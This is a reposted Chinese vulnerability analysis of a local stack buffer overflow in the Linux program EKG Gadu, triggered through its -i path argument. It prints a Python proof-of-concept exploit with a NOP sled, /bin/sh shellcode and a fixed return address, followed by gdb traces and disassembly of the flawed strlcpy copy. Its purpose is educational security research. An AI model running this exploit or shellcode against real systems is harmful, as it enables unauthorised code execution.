内容简介:作者:k0shl 转载请说明出处:https://whereisk0shl.top告诉大家一个坏消息: 今天是10月6号了,假期余额不足........... :PEKG Gadu是Linux系统下一个类似于诊断工具的软件,首先我要吐槽一下exploit-db上的exp,用这个exp是无法执行到漏洞函数的,需要增加参数-i才能够执行到漏洞函数,我提交的exp已经进行了修改,这个漏洞主要是-i参数负责处理文件路径时,如果传入超长的畸形文件,则会导致缓冲区溢出。
作者:k0shl 转载请说明出处:https://whereisk0shl.top
告诉大家一个坏消息: 今天是10月6号了,假期余额不足........... :P
漏洞说明
EKG Gadu是 Linux 系统下一个类似于诊断 工具 的软件,首先我要吐槽一下exploit-db上的exp,用这个exp是无法执行到漏洞函数的,需要增加参数-i才能够执行到漏洞函数,我提交的exp已经进行了修改,这个漏洞主要是-i参数负责处理文件路径时,如果传入超长的畸形文件,则会导致缓冲区溢出。
软件下载:
https://www.exploit-db.com/apps/c752577dfb5ea44513a3fb351d431afa-ekg_1.9~pre+r2855-3+b1_i386.debPoC:
import os, subprocess
def run():
try:
print "# EKG Gadu - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack -http://exploitpack.com"
# NOPSLED + SHELLCODE + EIP
buffersize = 240
nopsled = "\x90"*30
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x20\xf1\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["ekg ",'-i', buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, EKG Gadu - Not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit EKG Gadu - Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()
漏洞分析
EKG Gadu是Linux系统下一个类似于诊断工具的软件,首先我要吐槽一下exploit-db上的exp,用这个exp是无法执行到漏洞函数的,需要增加参数-i才能够执行到漏洞函数,我提交的exp已经进行了修改,这个漏洞主要是-i参数负责处理文件路径时,如果传入超长的畸形文件,则会导致缓冲区溢出。
对这个软件进行分析时,由于原版的安装包安装时总是缺少三个依赖,怎么也装不上,所以用apt-get的方法下载了一个其他版本的ekg,可以进行分析。
首先通过bt来看一下堆栈回溯。
gdb$ run -i `python -c 'print "A"*258'` 0x0807e125 in strlcpy () gdb$ backtrace #0 0x0807e125 in strlcpy () #1 0x080570bb in ioctld_socket () #2 0x08052e60 in main ()
可以很清晰的看到main函数的内层调用,下面来进行逐步分析,首先是main函数,在main函数中,会对传入的参数进行判断。
while ( 2 )
{
v10 = getopt_long(argc, (char *const *)argv, "b::a::i::F::d::pnc:f:hI:ot:u:vNA", (const struct option *)&v91, 0);
if ( v10 == -1 )
{
in_autoexec = 1;
if ( argc > optind )
{
v43 = optind;
v44 = 0;
do
{
v45 = argv[v43++];
v44 += strlen(v45) + 1;
这里通过getopt的方法,可以看到判断中包含了i,这个i就是要处理ioctlsocket的函数,检查到这个-i参数传递之后。
v28 = prepare_path(".socket", 1);
pid = fork();
if ( !pid )
{
if ( config_ioctld_enable == 1 )
{
execl(v67, "ioctld", v28, 0, &unk_80A0590, v58, v59, v60, v61, v62, v72, v63, v24, v64, v66, &unk_80AEC60);
}
else if ( config_ioctld_enable == 2 )
{
v50 = saprintf(
"%d",
config_ioctld_net_port,
1,
1024,
&unk_80A0590,
v58,
v59,
v60,
v61,
v62,
v72,
v63,
v24,
v64,
v66,
&unk_80AEC60);
if ( execl(v67, "ioctld", v28, v50, 0) == -1 )
xfree(v50);
}
exit(0);
}
ioctld_socket((int)v28);
会进入-i参数的操作流程,最后涉及到ioctld_socket,也就是漏洞函数,这里动态跟踪一下。
Guessed arguments:
arg[0]: 0xbffff582 ('A' <repeats 200 times>...)
arg[1]: 0x809feac ("ioctld")
arg[2]: 0x80abfa0 ("/root/.gg/.socket")
arg[3]: 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff0d0 --> 0xbffff582 ('A' <repeats 200 times>...)
0004| 0xbffff0d4 --> 0x809feac ("ioctld")
0008| 0xbffff0d8 --> 0x80abfa0 ("/root/.gg/.socket")
0012| 0xbffff0dc --> 0x0
0016| 0xbffff0e0 --> 0x80a0590 ("\r\n\r\n*** Naruszenie ochrony pami\352ci ***\r\n\r\nSpr\363buj\352 zapisa\346 ustawienia, ale nie obiecuj\352, \277e cokolwiek z tego\r\nwyjdzie. Trafi\261 one do plik\363w %s/config.%d\r\noraz %s/userlist.%d\r\n\r\nDo pliku %s/debug.%d za"...)
0020| 0xbffff0e4 --> 0x80bd6a0 ("/root/.gg")
0024| 0xbffff0e8 --> 0x2c11
0028| 0xbffff0ec --> 0x80bd6a0 ("/root/.gg")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08053379 in main ()
可以看到畸形字符串直接传递了,接下来跟入这个函数。
.text:08057040 mov [esp+9Ch+addr.sa_family], ax .text:08057045 lea eax, [esp+9Ch+addr.sa_data] .text:08057049 mov [esp+9Ch+type], ebx .text:0805704D lea edi, [esp+9Ch+addr] .text:08057051 mov ebx, 5 .text:08057056 mov [esp+9Ch+protocol], 6Ch .text:0805705E mov [esp+9Ch+fd], eax .text:08057061 call strlcpy .text:08057066 .text:08057066 loc_8057066: ; CODE XREF: ioctld_socket+B5j .text:08057066 mov eax, ioctld_sock .text:0805706B mov [esp+9Ch+protocol], 6Eh ; len .text:08057073 mov [esp+9Ch+type], edi ; addr .text:08057077 mov [esp+9Ch+fd], eax ; fd .text:0805707A call _connect .text:0805707F cmp eax, 0FFFFFFFFh
在地址08057061位置执行了一次字符串拷贝,这次拷贝的内容就是畸形字符串,在这个过程,没有对拷贝字符串进行长度控制,从而在strlcpy中发生了栈溢出,strlcpy是自定义函数,汇编代码如下。
.text:08081410 public strlcpy .text:08081410 strlcpy proc near ; CODE XREF: main+BFp .text:08081410 ; event_format_target+57p ... .text:08081410 .text:08081410 arg_0 = dword ptr 4 .text:08081410 arg_4 = dword ptr 8 .text:08081410 arg_8 = dword ptr 0Ch .text:08081410 .text:08081410 push ebp .text:08081411 push edi .text:08081412 push esi .text:08081413 push ebx .text:08081414 mov ecx, [esp+10h+arg_8] .text:08081418 mov edi, [esp+10h+arg_4] .text:0808141C cmp ecx, 1 .text:0808141F jbe short loc_8081476 .text:08081421 movzx ebx, byte ptr [edi] .text:08081424 test bl, bl .text:08081426 jz short loc_8081482 .text:08081428 mov esi, [esp+10h+arg_0] .text:0808142C lea edx, [edi+1] .text:0808142F jmp short loc_8081447 .text:0808142F ; --------------------------------------------------------------------------- .text:08081431 align 8 .text:08081438 .text:08081438 loc_8081438: ; CODE XREF: strlcpy+43j .text:08081438 movzx ebx, byte ptr [edx] .text:0808143B mov ebp, edx .text:0808143D add esi, 1 .text:08081440 add edx, 1 .text:08081443 test bl, bl .text:08081445 jz short loc_8081458 .text:08081447 .text:08081447 loc_8081447: ; CODE XREF: strlcpy+1Fj .text:08081447 mov eax, edx .text:08081449 sub ecx, 1 .text:0808144C sub eax, edi .text:0808144E cmp ecx, 1 .text:08081451 mov [esi], bl .text:08081453 jnz short loc_8081438 .text:08081455 .text:08081455 loc_8081455: ; CODE XREF: strlcpy+7Aj .text:08081455 lea ebp, [edi+eax] .text:08081458 .text:08081458 loc_8081458: ; CODE XREF: strlcpy+35j .text:08081458 ; strlcpy+76j .text:08081458 mov esi, [esp+10h+arg_0] .text:0808145C mov byte ptr [esi+eax], 0 .text:08081460 .text:08081460 loc_8081460: ; CODE XREF: strlcpy+70j .text:08081460 cmp byte ptr [ebp+0], 0 .text:08081464 jz short loc_8081471 .text:08081466 xchg ax, ax .text:08081468 .text:08081468 loc_8081468: ; CODE XREF: strlcpy+5Fj .text:08081468 add eax, 1 .text:0808146B cmp byte ptr [edi+eax], 0 .text:0808146F jnz short loc_8081468 .text:08081471 .text:08081471 loc_8081471: ; CODE XREF: strlcpy+54j .text:08081471 pop ebx .text:08081472 pop esi .text:08081473 pop edi .text:08081474 pop ebp .text:08081475 retn
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 漏洞预警 | ThinkPHP5远程命令执行漏洞
- WinRAR 代码执行漏洞复现
- struts2远程代码执行漏洞
- 【漏洞预警】 S2-057远程代码执行
- Gogs 远程命令执行漏洞分析
- 潜藏19年的WinRAR代码执行漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
MATLAB数值计算
莫勒 / 喻文健 / 机械工业出版社 / 2006-6 / 35.00元
《MATLAB数值计算》是关于数值方法、MATLAB软件和工程计算的教材,着重介绍数学软件的熟练使用及其内在的高效率算法。主要内容包括:MATLAB介绍、线性方程组、插值、方程求根、最小二乘法、数值积分、常微分方程、傅里叶分析、随机数、特征值与奇异值、偏微分方程。《MATLAB数值计算》配备大量MATLAB例子源代码及习题,其中涉及密码学、Google网页分级、大气科学和图像处理等前沿问题,可以帮......一起来看看 《MATLAB数值计算》 这本书的介绍吧!